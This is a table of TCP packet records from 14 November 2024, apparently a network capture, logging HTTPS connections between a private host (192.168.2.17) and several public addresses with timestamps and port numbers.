Nov 14, 2024 16:39:36.302592039 CET	443	49720	152.199.21.175	192.168.2.17
Nov 14, 2024 16:39:36.302666903 CET	443	49720	152.199.21.175	192.168.2.17
Nov 14, 2024 16:39:36.302752018 CET	49720	443	192.168.2.17	152.199.21.175
Nov 14, 2024 16:39:36.302778006 CET	443	49720	152.199.21.175	192.168.2.17
Nov 14, 2024 16:39:36.302819967 CET	49720	443	192.168.2.17	152.199.21.175
Nov 14, 2024 16:39:36.302846909 CET	49720	443	192.168.2.17	152.199.21.175
Nov 14, 2024 16:39:36.419670105 CET	443	49720	152.199.21.175	192.168.2.17
Nov 14, 2024 16:39:36.419739008 CET	443	49720	152.199.21.175	192.168.2.17
Nov 14, 2024 16:39:36.419783115 CET	49720	443	192.168.2.17	152.199.21.175
Nov 14, 2024 16:39:36.419801950 CET	443	49720	152.199.21.175	192.168.2.17
Nov 14, 2024 16:39:36.419853926 CET	49720	443	192.168.2.17	152.199.21.175
Nov 14, 2024 16:39:36.419883966 CET	49720	443	192.168.2.17	152.199.21.175
Nov 14, 2024 16:39:36.536889076 CET	443	49720	152.199.21.175	192.168.2.17
Nov 14, 2024 16:39:36.536958933 CET	443	49720	152.199.21.175	192.168.2.17
Nov 14, 2024 16:39:36.537029028 CET	49720	443	192.168.2.17	152.199.21.175
Nov 14, 2024 16:39:36.537053108 CET	443	49720	152.199.21.175	192.168.2.17
Nov 14, 2024 16:39:36.537098885 CET	49720	443	192.168.2.17	152.199.21.175
Nov 14, 2024 16:39:36.537122011 CET	49720	443	192.168.2.17	152.199.21.175
Nov 14, 2024 16:39:36.577702045 CET	443	49720	152.199.21.175	192.168.2.17
Nov 14, 2024 16:39:36.577754974 CET	443	49720	152.199.21.175	192.168.2.17
Nov 14, 2024 16:39:36.577807903 CET	49720	443	192.168.2.17	152.199.21.175
Nov 14, 2024 16:39:36.577827930 CET	443	49720	152.199.21.175	192.168.2.17
Nov 14, 2024 16:39:36.577879906 CET	49720	443	192.168.2.17	152.199.21.175
Nov 14, 2024 16:39:36.577907085 CET	443	49720	152.199.21.175	192.168.2.17
Nov 14, 2024 16:39:36.577975035 CET	49720	443	192.168.2.17	152.199.21.175
Nov 14, 2024 16:39:36.578689098 CET	49720	443	192.168.2.17	152.199.21.175
Nov 14, 2024 16:39:36.578710079 CET	443	49720	152.199.21.175	192.168.2.17
Nov 14, 2024 16:39:36.672961950 CET	49675	443	192.168.2.17	204.79.197.203
Nov 14, 2024 16:39:36.679176092 CET	49725	443	192.168.2.17	152.199.21.175
Nov 14, 2024 16:39:36.679215908 CET	443	49725	152.199.21.175	192.168.2.17
Nov 14, 2024 16:39:36.679327011 CET	49725	443	192.168.2.17	152.199.21.175
Nov 14, 2024 16:39:36.681528091 CET	49725	443	192.168.2.17	152.199.21.175
Nov 14, 2024 16:39:36.681556940 CET	443	49725	152.199.21.175	192.168.2.17
Nov 14, 2024 16:39:36.745178938 CET	49727	443	192.168.2.17	78.138.9.37
Nov 14, 2024 16:39:36.745234013 CET	443	49727	78.138.9.37	192.168.2.17
Nov 14, 2024 16:39:36.746773005 CET	49727	443	192.168.2.17	78.138.9.37
Nov 14, 2024 16:39:36.749209881 CET	49728	443	192.168.2.17	78.138.9.37
Nov 14, 2024 16:39:36.749238014 CET	443	49728	78.138.9.37	192.168.2.17
Nov 14, 2024 16:39:36.749325991 CET	49728	443	192.168.2.17	78.138.9.37
Nov 14, 2024 16:39:36.750703096 CET	49728	443	192.168.2.17	78.138.9.37
Nov 14, 2024 16:39:36.750721931 CET	443	49728	78.138.9.37	192.168.2.17
Nov 14, 2024 16:39:36.751646042 CET	49727	443	192.168.2.17	78.138.9.37
Nov 14, 2024 16:39:36.751667023 CET	443	49727	78.138.9.37	192.168.2.17
Nov 14, 2024 16:39:36.752464056 CET	49729	443	192.168.2.17	78.138.9.37
Nov 14, 2024 16:39:36.752490044 CET	443	49729	78.138.9.37	192.168.2.17
Nov 14, 2024 16:39:36.752557993 CET	49729	443	192.168.2.17	78.138.9.37
Nov 14, 2024 16:39:36.752876997 CET	49729	443	192.168.2.17	78.138.9.37
Nov 14, 2024 16:39:36.752891064 CET	443	49729	78.138.9.37	192.168.2.17
Nov 14, 2024 16:39:36.753361940 CET	49730	443	192.168.2.17	152.199.21.175
Nov 14, 2024 16:39:36.753392935 CET	443	49730	152.199.21.175	192.168.2.17
Nov 14, 2024 16:39:36.753485918 CET	49730	443	192.168.2.17	152.199.21.175
Nov 14, 2024 16:39:36.753628969 CET	49730	443	192.168.2.17	152.199.21.175
Nov 14, 2024 16:39:36.753639936 CET	443	49730	152.199.21.175	192.168.2.17
Nov 14, 2024 16:39:36.984675884 CET	49675	443	192.168.2.17	204.79.197.203
Nov 14, 2024 16:39:37.589694023 CET	49675	443	192.168.2.17	204.79.197.203
Nov 14, 2024 16:39:37.720693111 CET	443	49725	152.199.21.175	192.168.2.17
Nov 14, 2024 16:39:37.721141100 CET	49725	443	192.168.2.17	152.199.21.175
Nov 14, 2024 16:39:37.721153021 CET	443	49725	152.199.21.175	192.168.2.17
Nov 14, 2024 16:39:37.722580910 CET	443	49725	152.199.21.175	192.168.2.17
Nov 14, 2024 16:39:37.722670078 CET	49725	443	192.168.2.17	152.199.21.175
Nov 14, 2024 16:39:37.722994089 CET	49725	443	192.168.2.17	152.199.21.175
Nov 14, 2024 16:39:37.723067999 CET	443	49725	152.199.21.175	192.168.2.17
Nov 14, 2024 16:39:37.723187923 CET	49725	443	192.168.2.17	152.199.21.175
Nov 14, 2024 16:39:37.765698910 CET	49725	443	192.168.2.17	152.199.21.175
Nov 14, 2024 16:39:37.765707016 CET	443	49725	152.199.21.175	192.168.2.17
Nov 14, 2024 16:39:37.813807011 CET	49725	443	192.168.2.17	152.199.21.175
Nov 14, 2024 16:39:37.955693007 CET	443	49725	152.199.21.175	192.168.2.17
Nov 14, 2024 16:39:38.005740881 CET	49725	443	192.168.2.17	152.199.21.175
Nov 14, 2024 16:39:38.072885036 CET	443	49725	152.199.21.175	192.168.2.17
Nov 14, 2024 16:39:38.072918892 CET	443	49725	152.199.21.175	192.168.2.17
Nov 14, 2024 16:39:38.073010921 CET	443	49725	152.199.21.175	192.168.2.17
Nov 14, 2024 16:39:38.073046923 CET	49725	443	192.168.2.17	152.199.21.175
Nov 14, 2024 16:39:38.073065042 CET	443	49725	152.199.21.175	192.168.2.17
Nov 14, 2024 16:39:38.073101997 CET	443	49725	152.199.21.175	192.168.2.17
Nov 14, 2024 16:39:38.073116064 CET	443	49725	152.199.21.175	192.168.2.17
Nov 14, 2024 16:39:38.073123932 CET	49725	443	192.168.2.17	152.199.21.175
Nov 14, 2024 16:39:38.073123932 CET	49725	443	192.168.2.17	152.199.21.175
Nov 14, 2024 16:39:38.073184967 CET	49725	443	192.168.2.17	152.199.21.175
Nov 14, 2024 16:39:38.250020981 CET	443	49725	152.199.21.175	192.168.2.17
Nov 14, 2024 16:39:38.250056982 CET	443	49725	152.199.21.175	192.168.2.17
Nov 14, 2024 16:39:38.250108957 CET	443	49725	152.199.21.175	192.168.2.17
Nov 14, 2024 16:39:38.250114918 CET	49725	443	192.168.2.17	152.199.21.175
Nov 14, 2024 16:39:38.250129938 CET	443	49725	152.199.21.175	192.168.2.17
Nov 14, 2024 16:39:38.250171900 CET	49725	443	192.168.2.17	152.199.21.175
Nov 14, 2024 16:39:38.250180960 CET	443	49725	152.199.21.175	192.168.2.17
Nov 14, 2024 16:39:38.250193119 CET	49725	443	192.168.2.17	152.199.21.175
Nov 14, 2024 16:39:38.250228882 CET	49725	443	192.168.2.17	152.199.21.175
Nov 14, 2024 16:39:38.253524065 CET	443	49728	78.138.9.37	192.168.2.17
Nov 14, 2024 16:39:38.253776073 CET	49728	443	192.168.2.17	78.138.9.37
Nov 14, 2024 16:39:38.253808022 CET	443	49728	78.138.9.37	192.168.2.17
Nov 14, 2024 16:39:38.254132986 CET	443	49728	78.138.9.37	192.168.2.17
Nov 14, 2024 16:39:38.254411936 CET	49728	443	192.168.2.17	78.138.9.37
Nov 14, 2024 16:39:38.254472017 CET	443	49728	78.138.9.37	192.168.2.17
Nov 14, 2024 16:39:38.254599094 CET	49728	443	192.168.2.17	78.138.9.37
Nov 14, 2024 16:39:38.254630089 CET	443	49728	78.138.9.37	192.168.2.17
Nov 14, 2024 16:39:38.264045954 CET	443	49727	78.138.9.37	192.168.2.17
Nov 14, 2024 16:39:38.264724970 CET	443	49729	78.138.9.37	192.168.2.17
Nov 14, 2024 16:39:38.264761925 CET	49727	443	192.168.2.17	78.138.9.37
Nov 14, 2024 16:39:38.264772892 CET	443	49727	78.138.9.37	192.168.2.17
Nov 14, 2024 16:39:38.264935970 CET	49729	443	192.168.2.17	78.138.9.37
Nov 14, 2024 16:39:38.264945030 CET	443	49729	78.138.9.37	192.168.2.17
Nov 14, 2024 16:39:38.265135050 CET	443	49727	78.138.9.37	192.168.2.17
Nov 14, 2024 16:39:38.265221119 CET	443	49729	78.138.9.37	192.168.2.17
Nov 14, 2024 16:39:38.265419006 CET	49727	443	192.168.2.17	78.138.9.37
Nov 14, 2024 16:39:38.265516043 CET	443	49727	78.138.9.37	192.168.2.17
Nov 14, 2024 16:39:38.265640020 CET	49729	443	192.168.2.17	78.138.9.37
Nov 14, 2024 16:39:38.265708923 CET	443	49729	78.138.9.37	192.168.2.17
Nov 14, 2024 16:39:38.265728951 CET	49727	443	192.168.2.17	78.138.9.37
Nov 14, 2024 16:39:38.265758038 CET	443	49727	78.138.9.37	192.168.2.17
Nov 14, 2024 16:39:38.306821108 CET	443	49725	152.199.21.175	192.168.2.17
Nov 14, 2024 16:39:38.306889057 CET	443	49725	152.199.21.175	192.168.2.17
Nov 14, 2024 16:39:38.306943893 CET	49725	443	192.168.2.17	152.199.21.175
Nov 14, 2024 16:39:38.306962013 CET	443	49725	152.199.21.175	192.168.2.17
Nov 14, 2024 16:39:38.307005882 CET	49725	443	192.168.2.17	152.199.21.175
Nov 14, 2024 16:39:38.307670116 CET	49729	443	192.168.2.17	78.138.9.37
Nov 14, 2024 16:39:38.424767017 CET	443	49725	152.199.21.175	192.168.2.17
Nov 14, 2024 16:39:38.424832106 CET	443	49725	152.199.21.175	192.168.2.17
Nov 14, 2024 16:39:38.424974918 CET	49725	443	192.168.2.17	152.199.21.175
Nov 14, 2024 16:39:38.424974918 CET	49725	443	192.168.2.17	152.199.21.175
Nov 14, 2024 16:39:38.424988985 CET	443	49725	152.199.21.175	192.168.2.17
Nov 14, 2024 16:39:38.425265074 CET	49725	443	192.168.2.17	152.199.21.175
Nov 14, 2024 16:39:38.487396955 CET	443	49730	152.199.21.175	192.168.2.17
Nov 14, 2024 16:39:38.487657070 CET	49730	443	192.168.2.17	152.199.21.175
Nov 14, 2024 16:39:38.487668037 CET	443	49730	152.199.21.175	192.168.2.17
Nov 14, 2024 16:39:38.488643885 CET	443	49730	152.199.21.175	192.168.2.17
Nov 14, 2024 16:39:38.488717079 CET	49730	443	192.168.2.17	152.199.21.175
Nov 14, 2024 16:39:38.488996983 CET	49730	443	192.168.2.17	152.199.21.175
Nov 14, 2024 16:39:38.489042044 CET	443	49730	152.199.21.175	192.168.2.17
Nov 14, 2024 16:39:38.530806065 CET	49730	443	192.168.2.17	152.199.21.175
Nov 14, 2024 16:39:38.530817032 CET	443	49730	152.199.21.175	192.168.2.17
Nov 14, 2024 16:39:38.540492058 CET	443	49725	152.199.21.175	192.168.2.17
Nov 14, 2024 16:39:38.540533066 CET	443	49725	152.199.21.175	192.168.2.17
Nov 14, 2024 16:39:38.540579081 CET	49725	443	192.168.2.17	152.199.21.175
Nov 14, 2024 16:39:38.540586948 CET	443	49725	152.199.21.175	192.168.2.17
Nov 14, 2024 16:39:38.540731907 CET	49725	443	192.168.2.17	152.199.21.175
Nov 14, 2024 16:39:38.578762054 CET	49730	443	192.168.2.17	152.199.21.175
Nov 14, 2024 16:39:38.654180050 CET	443	49727	78.138.9.37	192.168.2.17
Nov 14, 2024 16:39:38.654531956 CET	443	49727	78.138.9.37	192.168.2.17
Nov 14, 2024 16:39:38.655061960 CET	49727	443	192.168.2.17	78.138.9.37
Nov 14, 2024 16:39:38.655097961 CET	443	49727	78.138.9.37	192.168.2.17
Nov 14, 2024 16:39:38.655112028 CET	49727	443	192.168.2.17	78.138.9.37
Nov 14, 2024 16:39:38.655153990 CET	49727	443	192.168.2.17	78.138.9.37
Nov 14, 2024 16:39:38.657329082 CET	443	49725	152.199.21.175	192.168.2.17
Nov 14, 2024 16:39:38.657397985 CET	443	49725	152.199.21.175	192.168.2.17
Nov 14, 2024 16:39:38.657432079 CET	49725	443	192.168.2.17	152.199.21.175
Nov 14, 2024 16:39:38.657445908 CET	443	49725	152.199.21.175	192.168.2.17
Nov 14, 2024 16:39:38.657481909 CET	49725	443	192.168.2.17	152.199.21.175
Nov 14, 2024 16:39:38.657500029 CET	49725	443	192.168.2.17	152.199.21.175
Nov 14, 2024 16:39:38.746088982 CET	443	49728	78.138.9.37	192.168.2.17
Nov 14, 2024 16:39:38.746115923 CET	443	49728	78.138.9.37	192.168.2.17
Nov 14, 2024 16:39:38.746140003 CET	443	49728	78.138.9.37	192.168.2.17
Nov 14, 2024 16:39:38.746179104 CET	49728	443	192.168.2.17	78.138.9.37
Nov 14, 2024 16:39:38.746190071 CET	443	49728	78.138.9.37	192.168.2.17
Nov 14, 2024 16:39:38.746243954 CET	49728	443	192.168.2.17	78.138.9.37
Nov 14, 2024 16:39:38.758596897 CET	49732	443	192.168.2.17	152.199.21.175
Nov 14, 2024 16:39:38.758630991 CET	443	49732	152.199.21.175	192.168.2.17
Nov 14, 2024 16:39:38.758702040 CET	49732	443	192.168.2.17	152.199.21.175
Nov 14, 2024 16:39:38.758882999 CET	49732	443	192.168.2.17	152.199.21.175
Nov 14, 2024 16:39:38.758894920 CET	443	49732	152.199.21.175	192.168.2.17
Nov 14, 2024 16:39:38.774684906 CET	443	49725	152.199.21.175	192.168.2.17
Nov 14, 2024 16:39:38.774749041 CET	443	49725	152.199.21.175	192.168.2.17
Nov 14, 2024 16:39:38.774786949 CET	49725	443	192.168.2.17	152.199.21.175
Nov 14, 2024 16:39:38.774797916 CET	443	49725	152.199.21.175	192.168.2.17
Nov 14, 2024 16:39:38.774831057 CET	49725	443	192.168.2.17	152.199.21.175
Nov 14, 2024 16:39:38.774847031 CET	49725	443	192.168.2.17	152.199.21.175
Nov 14, 2024 16:39:38.802656889 CET	49675	443	192.168.2.17	204.79.197.203
Nov 14, 2024 16:39:38.819097042 CET	443	49725	152.199.21.175	192.168.2.17
Nov 14, 2024 16:39:38.819149971 CET	443	49725	152.199.21.175	192.168.2.17
Nov 14, 2024 16:39:38.819210052 CET	49725	443	192.168.2.17	152.199.21.175
Nov 14, 2024 16:39:38.819238901 CET	443	49725	152.199.21.175	192.168.2.17
Nov 14, 2024 16:39:38.819255114 CET	49725	443	192.168.2.17	152.199.21.175
Nov 14, 2024 16:39:38.819710970 CET	49725	443	192.168.2.17	152.199.21.175
Nov 14, 2024 16:39:38.856451988 CET	49733	443	192.168.2.17	184.28.90.27
Nov 14, 2024 16:39:38.856497049 CET	443	49733	184.28.90.27	192.168.2.17
Nov 14, 2024 16:39:38.856586933 CET	49733	443	192.168.2.17	184.28.90.27
Nov 14, 2024 16:39:38.857481003 CET	49733	443	192.168.2.17	184.28.90.27
Nov 14, 2024 16:39:38.857491016 CET	443	49733	184.28.90.27	192.168.2.17
Nov 14, 2024 16:39:38.865376949 CET	443	49728	78.138.9.37	192.168.2.17
Nov 14, 2024 16:39:38.865406036 CET	443	49728	78.138.9.37	192.168.2.17
Nov 14, 2024 16:39:38.865488052 CET	49728	443	192.168.2.17	78.138.9.37
Nov 14, 2024 16:39:38.865513086 CET	443	49728	78.138.9.37	192.168.2.17
Nov 14, 2024 16:39:38.866903067 CET	49728	443	192.168.2.17	78.138.9.37
Nov 14, 2024 16:39:39.291708946 CET	443	49725	152.199.21.175	192.168.2.17
Nov 14, 2024 16:39:39.291742086 CET	443	49725	152.199.21.175	192.168.2.17
Nov 14, 2024 16:39:39.291779995 CET	443	49728	78.138.9.37	192.168.2.17
Nov 14, 2024 16:39:39.291794062 CET	443	49728	78.138.9.37	192.168.2.17
Nov 14, 2024 16:39:39.291809082 CET	49725	443	192.168.2.17	152.199.21.175
Nov 14, 2024 16:39:39.291821957 CET	443	49725	152.199.21.175	192.168.2.17
Nov 14, 2024 16:39:39.291857004 CET	443	49728	78.138.9.37	192.168.2.17
Nov 14, 2024 16:39:39.291918993 CET	49725	443	192.168.2.17	152.199.21.175
Nov 14, 2024 16:39:39.291927099 CET	443	49725	152.199.21.175	192.168.2.17
Nov 14, 2024 16:39:39.291937113 CET	49728	443	192.168.2.17	78.138.9.37
Nov 14, 2024 16:39:39.291943073 CET	443	49725	152.199.21.175	192.168.2.17
Nov 14, 2024 16:39:39.291994095 CET	49725	443	192.168.2.17	152.199.21.175
Nov 14, 2024 16:39:39.292013884 CET	443	49728	78.138.9.37	192.168.2.17
Nov 14, 2024 16:39:39.292049885 CET	49728	443	192.168.2.17	78.138.9.37
Nov 14, 2024 16:39:39.292073965 CET	49728	443	192.168.2.17	78.138.9.37
Nov 14, 2024 16:39:39.292330027 CET	49728	443	192.168.2.17	78.138.9.37
Nov 14, 2024 16:39:39.292363882 CET	443	49728	78.138.9.37	192.168.2.17
Nov 14, 2024 16:39:39.292814016 CET	49725	443	192.168.2.17	152.199.21.175
Nov 14, 2024 16:39:39.292826891 CET	443	49725	152.199.21.175	192.168.2.17
Nov 14, 2024 16:39:39.297189951 CET	49734	443	192.168.2.17	152.199.21.175
Nov 14, 2024 16:39:39.297214031 CET	443	49734	152.199.21.175	192.168.2.17
Nov 14, 2024 16:39:39.297287941 CET	49734	443	192.168.2.17	152.199.21.175
Nov 14, 2024 16:39:39.297544003 CET	49735	443	192.168.2.17	152.199.21.175
Nov 14, 2024 16:39:39.297601938 CET	443	49735	152.199.21.175	192.168.2.17
Nov 14, 2024 16:39:39.297700882 CET	49735	443	192.168.2.17	152.199.21.175
Nov 14, 2024 16:39:39.297837019 CET	49734	443	192.168.2.17	152.199.21.175
Nov 14, 2024 16:39:39.297852039 CET	443	49734	152.199.21.175	192.168.2.17
Nov 14, 2024 16:39:39.297969103 CET	49735	443	192.168.2.17	152.199.21.175
Nov 14, 2024 16:39:39.297992945 CET	443	49735	152.199.21.175	192.168.2.17
Nov 14, 2024 16:39:39.346009970 CET	49736	443	192.168.2.17	78.138.9.37
Nov 14, 2024 16:39:39.346065998 CET	443	49736	78.138.9.37	192.168.2.17
Nov 14, 2024 16:39:39.346188068 CET	49736	443	192.168.2.17	78.138.9.37
Nov 14, 2024 16:39:39.346378088 CET	49736	443	192.168.2.17	78.138.9.37
Nov 14, 2024 16:39:39.346390963 CET	443	49736	78.138.9.37	192.168.2.17
Nov 14, 2024 16:39:39.707653999 CET	443	49733	184.28.90.27	192.168.2.17
Nov 14, 2024 16:39:39.707731962 CET	49733	443	192.168.2.17	184.28.90.27
Nov 14, 2024 16:39:39.709517956 CET	49733	443	192.168.2.17	184.28.90.27
Nov 14, 2024 16:39:39.709528923 CET	443	49733	184.28.90.27	192.168.2.17
Nov 14, 2024 16:39:39.709842920 CET	443	49733	184.28.90.27	192.168.2.17
Nov 14, 2024 16:39:39.752089024 CET	49733	443	192.168.2.17	184.28.90.27
Nov 14, 2024 16:39:39.795334101 CET	443	49733	184.28.90.27	192.168.2.17
Nov 14, 2024 16:39:39.796789885 CET	443	49732	152.199.21.175	192.168.2.17
Nov 14, 2024 16:39:39.797082901 CET	49732	443	192.168.2.17	152.199.21.175
Nov 14, 2024 16:39:39.797089100 CET	443	49732	152.199.21.175	192.168.2.17
Nov 14, 2024 16:39:39.797492981 CET	443	49732	152.199.21.175	192.168.2.17
Nov 14, 2024 16:39:39.797853947 CET	49732	443	192.168.2.17	152.199.21.175
Nov 14, 2024 16:39:39.797925949 CET	443	49732	152.199.21.175	192.168.2.17
Nov 14, 2024 16:39:39.798069954 CET	49732	443	192.168.2.17	152.199.21.175
Nov 14, 2024 16:39:39.839329958 CET	443	49732	152.199.21.175	192.168.2.17
Nov 14, 2024 16:39:39.994426966 CET	443	49733	184.28.90.27	192.168.2.17
Nov 14, 2024 16:39:39.994508982 CET	443	49733	184.28.90.27	192.168.2.17
Nov 14, 2024 16:39:39.994576931 CET	49733	443	192.168.2.17	184.28.90.27
Nov 14, 2024 16:39:39.994683027 CET	49733	443	192.168.2.17	184.28.90.27
Nov 14, 2024 16:39:39.994704008 CET	443	49733	184.28.90.27	192.168.2.17
Nov 14, 2024 16:39:39.994715929 CET	49733	443	192.168.2.17	184.28.90.27
Nov 14, 2024 16:39:39.994721889 CET	443	49733	184.28.90.27	192.168.2.17
Nov 14, 2024 16:39:40.029759884 CET	443	49732	152.199.21.175	192.168.2.17
Nov 14, 2024 16:39:40.032511950 CET	49738	443	192.168.2.17	184.28.90.27
Nov 14, 2024 16:39:40.032557011 CET	443	49738	184.28.90.27	192.168.2.17
Nov 14, 2024 16:39:40.032663107 CET	49738	443	192.168.2.17	184.28.90.27
Nov 14, 2024 16:39:40.032905102 CET	49738	443	192.168.2.17	184.28.90.27
Nov 14, 2024 16:39:40.032922983 CET	443	49738	184.28.90.27	192.168.2.17
Nov 14, 2024 16:39:40.075706005 CET	49732	443	192.168.2.17	152.199.21.175
Nov 14, 2024 16:39:40.183959007 CET	443	49732	152.199.21.175	192.168.2.17
Nov 14, 2024 16:39:40.183973074 CET	443	49732	152.199.21.175	192.168.2.17
Nov 14, 2024 16:39:40.184001923 CET	443	49732	152.199.21.175	192.168.2.17
Nov 14, 2024 16:39:40.184039116 CET	443	49732	152.199.21.175	192.168.2.17
Nov 14, 2024 16:39:40.184048891 CET	49732	443	192.168.2.17	152.199.21.175
Nov 14, 2024 16:39:40.184057951 CET	443	49732	152.199.21.175	192.168.2.17
Nov 14, 2024 16:39:40.184108973 CET	49732	443	192.168.2.17	152.199.21.175
Nov 14, 2024 16:39:40.193248987 CET	443	49736	78.138.9.37	192.168.2.17
Nov 14, 2024 16:39:40.193484068 CET	49736	443	192.168.2.17	78.138.9.37
Nov 14, 2024 16:39:40.193506002 CET	443	49736	78.138.9.37	192.168.2.17
Nov 14, 2024 16:39:40.194480896 CET	443	49736	78.138.9.37	192.168.2.17
Nov 14, 2024 16:39:40.194551945 CET	49736	443	192.168.2.17	78.138.9.37
Nov 14, 2024 16:39:40.195385933 CET	49736	443	192.168.2.17	78.138.9.37
Nov 14, 2024 16:39:40.195441961 CET	443	49736	78.138.9.37	192.168.2.17
Nov 14, 2024 16:39:40.195621014 CET	49736	443	192.168.2.17	78.138.9.37
Nov 14, 2024 16:39:40.195626020 CET	443	49736	78.138.9.37	192.168.2.17
Nov 14, 2024 16:39:40.247783899 CET	49736	443	192.168.2.17	78.138.9.37
Nov 14, 2024 16:39:40.263988018 CET	443	49732	152.199.21.175	192.168.2.17
Nov 14, 2024 16:39:40.264024019 CET	443	49732	152.199.21.175	192.168.2.17
Nov 14, 2024 16:39:40.264195919 CET	49732	443	192.168.2.17	152.199.21.175
Nov 14, 2024 16:39:40.264206886 CET	443	49732	152.199.21.175	192.168.2.17
Nov 14, 2024 16:39:40.264261007 CET	49732	443	192.168.2.17	152.199.21.175
Nov 14, 2024 16:39:40.672224998 CET	443	49732	152.199.21.175	192.168.2.17
Nov 14, 2024 16:39:40.672238111 CET	443	49732	152.199.21.175	192.168.2.17
Nov 14, 2024 16:39:40.672276020 CET	443	49732	152.199.21.175	192.168.2.17
Nov 14, 2024 16:39:40.672477007 CET	49732	443	192.168.2.17	152.199.21.175
Nov 14, 2024 16:39:40.672477007 CET	49732	443	192.168.2.17	152.199.21.175
Nov 14, 2024 16:39:40.672489882 CET	443	49732	152.199.21.175	192.168.2.17
Nov 14, 2024 16:39:40.672498941 CET	443	49732	152.199.21.175	192.168.2.17
Nov 14, 2024 16:39:40.672576904 CET	49732	443	192.168.2.17	152.199.21.175
Nov 14, 2024 16:39:40.673244953 CET	443	49736	78.138.9.37	192.168.2.17
Nov 14, 2024 16:39:40.673270941 CET	443	49736	78.138.9.37	192.168.2.17
Nov 14, 2024 16:39:40.673336983 CET	443	49736	78.138.9.37	192.168.2.17
Nov 14, 2024 16:39:40.673343897 CET	49736	443	192.168.2.17	78.138.9.37
Nov 14, 2024 16:39:40.673573971 CET	49736	443	192.168.2.17	78.138.9.37
Nov 14, 2024 16:39:40.674453020 CET	443	49735	152.199.21.175	192.168.2.17
Nov 14, 2024 16:39:40.674510956 CET	49736	443	192.168.2.17	78.138.9.37
Nov 14, 2024 16:39:40.674530029 CET	443	49736	78.138.9.37	192.168.2.17
Nov 14, 2024 16:39:40.674874067 CET	443	49734	152.199.21.175	192.168.2.17
Nov 14, 2024 16:39:40.675961018 CET	49735	443	192.168.2.17	152.199.21.175
Nov 14, 2024 16:39:40.675987959 CET	443	49735	152.199.21.175	192.168.2.17
Nov 14, 2024 16:39:40.676280022 CET	49734	443	192.168.2.17	152.199.21.175
Nov 14, 2024 16:39:40.676290989 CET	443	49734	152.199.21.175	192.168.2.17
Nov 14, 2024 16:39:40.676779985 CET	443	49734	152.199.21.175	192.168.2.17
Nov 14, 2024 16:39:40.677151918 CET	443	49735	152.199.21.175	192.168.2.17
Nov 14, 2024 16:39:40.677243948 CET	49735	443	192.168.2.17	152.199.21.175
Nov 14, 2024 16:39:40.677330971 CET	49734	443	192.168.2.17	152.199.21.175
Nov 14, 2024 16:39:40.677408934 CET	443	49734	152.199.21.175	192.168.2.17
Nov 14, 2024 16:39:40.677640915 CET	49735	443	192.168.2.17	152.199.21.175
Nov 14, 2024 16:39:40.677722931 CET	443	49735	152.199.21.175	192.168.2.17
Nov 14, 2024 16:39:40.677846909 CET	49734	443	192.168.2.17	152.199.21.175
Nov 14, 2024 16:39:40.677913904 CET	49735	443	192.168.2.17	152.199.21.175
Nov 14, 2024 16:39:40.677926064 CET	443	49735	152.199.21.175	192.168.2.17
Nov 14, 2024 16:39:40.678128958 CET	443	49732	152.199.21.175	192.168.2.17
Nov 14, 2024 16:39:40.678150892 CET	443	49732	152.199.21.175	192.168.2.17
Nov 14, 2024 16:39:40.678204060 CET	49732	443	192.168.2.17	152.199.21.175
Nov 14, 2024 16:39:40.678210020 CET	443	49732	152.199.21.175	192.168.2.17
Nov 14, 2024 16:39:40.719327927 CET	443	49734	152.199.21.175	192.168.2.17
Nov 14, 2024 16:39:40.722644091 CET	49732	443	192.168.2.17	152.199.21.175
Nov 14, 2024 16:39:40.722671032 CET	49735	443	192.168.2.17	152.199.21.175
Nov 14, 2024 16:39:40.732100964 CET	443	49732	152.199.21.175	192.168.2.17
Nov 14, 2024 16:39:40.732125044 CET	443	49732	152.199.21.175	192.168.2.17
Nov 14, 2024 16:39:40.732166052 CET	49732	443	192.168.2.17	152.199.21.175
Nov 14, 2024 16:39:40.732173920 CET	443	49732	152.199.21.175	192.168.2.17
Nov 14, 2024 16:39:40.732223988 CET	49732	443	192.168.2.17	152.199.21.175
Nov 14, 2024 16:39:40.781295061 CET	443	49732	152.199.21.175	192.168.2.17
Nov 14, 2024 16:39:40.781336069 CET	443	49732	152.199.21.175	192.168.2.17
Nov 14, 2024 16:39:40.781367064 CET	49732	443	192.168.2.17	152.199.21.175
Nov 14, 2024 16:39:40.781375885 CET	443	49732	152.199.21.175	192.168.2.17
Nov 14, 2024 16:39:40.781394958 CET	443	49732	152.199.21.175	192.168.2.17
Nov 14, 2024 16:39:40.781408072 CET	49732	443	192.168.2.17	152.199.21.175
Nov 14, 2024 16:39:40.781490088 CET	49732	443	192.168.2.17	152.199.21.175
Nov 14, 2024 16:39:40.781739950 CET	49732	443	192.168.2.17	152.199.21.175
Nov 14, 2024 16:39:40.781758070 CET	443	49732	152.199.21.175	192.168.2.17
Nov 14, 2024 16:39:40.835016012 CET	49680	443	192.168.2.17	20.189.173.13
Nov 14, 2024 16:39:40.910459042 CET	443	49734	152.199.21.175	192.168.2.17
Nov 14, 2024 16:39:40.912287951 CET	443	49735	152.199.21.175	192.168.2.17
Nov 14, 2024 16:39:40.926063061 CET	443	49738	184.28.90.27	192.168.2.17
Nov 14, 2024 16:39:40.926134109 CET	49738	443	192.168.2.17	184.28.90.27
Nov 14, 2024 16:39:40.927366972 CET	49738	443	192.168.2.17	184.28.90.27
Nov 14, 2024 16:39:40.927375078 CET	443	49738	184.28.90.27	192.168.2.17
Nov 14, 2024 16:39:40.927635908 CET	443	49738	184.28.90.27	192.168.2.17
Nov 14, 2024 16:39:40.928700924 CET	49738	443	192.168.2.17	184.28.90.27
Nov 14, 2024 16:39:40.960666895 CET	49734	443	192.168.2.17	152.199.21.175
Nov 14, 2024 16:39:40.960876942 CET	49735	443	192.168.2.17	152.199.21.175
Nov 14, 2024 16:39:40.975343943 CET	443	49738	184.28.90.27	192.168.2.17
Nov 14, 2024 16:39:41.030220985 CET	443	49734	152.199.21.175	192.168.2.17
Nov 14, 2024 16:39:41.030241966 CET	443	49734	152.199.21.175	192.168.2.17
Nov 14, 2024 16:39:41.030266047 CET	443	49734	152.199.21.175	192.168.2.17
Nov 14, 2024 16:39:41.030277014 CET	443	49734	152.199.21.175	192.168.2.17
Nov 14, 2024 16:39:41.030313015 CET	49734	443	192.168.2.17	152.199.21.175
Nov 14, 2024 16:39:41.030363083 CET	49734	443	192.168.2.17	152.199.21.175
Nov 14, 2024 16:39:41.030366898 CET	443	49734	152.199.21.175	192.168.2.17
Nov 14, 2024 16:39:41.030380011 CET	443	49734	152.199.21.175	192.168.2.17
Nov 14, 2024 16:39:41.030426979 CET	49734	443	192.168.2.17	152.199.21.175
